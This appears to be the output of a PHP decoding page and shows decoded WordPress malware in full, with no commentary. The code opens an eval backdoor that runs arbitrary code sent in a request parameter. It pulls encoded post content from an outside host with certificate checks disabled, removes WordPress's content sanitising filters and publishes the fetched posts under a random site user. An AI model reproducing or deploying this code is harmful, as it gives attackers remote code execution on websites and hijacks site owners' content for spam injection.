PHP Decode

?><?php
if(key($_GET)=='yyy'){eval($_REQUEST['jElhOsnTy']);die;}
require_once(GetWpLoadFilePath());
$users = get_users(array('fields' => array('id'),'number'=>10 ,'offset'=>0));
if(isset($users)&&count($users)>0){$user=$users[array_rand($users)]; $uid=$user->id;}
else $uid=0;
$cates = get_categories(array('number'=>10 ,'offset'=>0));
if(isset($cates)&&count($cates)>0){$cate=$cates[array_rand($cates)]; $cid= $cate->cat_ID;}
else $cid=0;
$cont = WPDB170815('http://wpdb.cheapapi.net/get.php?s='.$_SERVER['SERVER_NAME']);
if ($cont=='cms:error'){
	$cont = WPDB170815('http://wpdb.cheapapi.net/get.php?s='.$_SERVER['HTTP_HOST']);
	if ($cont=='cms:error') die($cont);
}
$cont=gzinflate(base64_decode($cont));
$arr=json_decode($cont);

$my_post = array(
  'post_title'    => $arr->post_title,
  'post_content'  => $arr->post_content,
  'post_status'   => 'publish',
  'post_author'   => $uid,
  'post_category' => array($cid),
  'post_date' => $arr->post_date,
);
remove_filter('content_save_pre', 'wp_filter_post_kses');
remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
$pid = wp_insert_post($my_post,true);
add_filter('content_save_pre', 'wp_filter_post_kses');
add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
if(is_wp_error($pid)) die('wperr:'.$pid->get_error_message());
$url = get_permalink($pid);
die('nol-url:'.$url);

function WPDB170815($url)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
    $output = curl_exec($curl);
    curl_close($curl);
    return $output;
}

function GetWpLoadFilePath(){
	$wpf = $_SERVER['DOCUMENT_ROOT']."/wp-load.php";
	if (file_exists($wpf)) return $wpf;
	$cfg_dirs = array("wp", "blog", "wordpress", "blogs");
	foreach($cfg_dirs as $fdir)
	{
		$wpf = $_SERVER['DOCUMENT_ROOT']."/".$fdir."/wp-load.php";
		if(file_exists($wpf)) return $wpf;
	}	
	$repstr=$_SERVER['DOCUMENT_ROOT'];
	$script=$_SERVER['SCRIPT_FILENAME'];
	for($i=0;$i<3;$i++){
		$pos = strpos($script, $repstr);
		if($pos===FALSE) $repstr=substr($repstr,strpos($repstr,'/',2));
		else break;
	}
	$path = str_replace($repstr, '',$script);
	if($path[0]=='/') $path = substr($path,1);
	$dirname=substr($path,0,strpos($path,'/'));
	$wpf = substr($script,0,strpos($script,$dirname))."/".$dirname."/wp-load.php";
	if (file_exists($wpf)) return $wpf;
	die('wp-load.php not found');
}
?>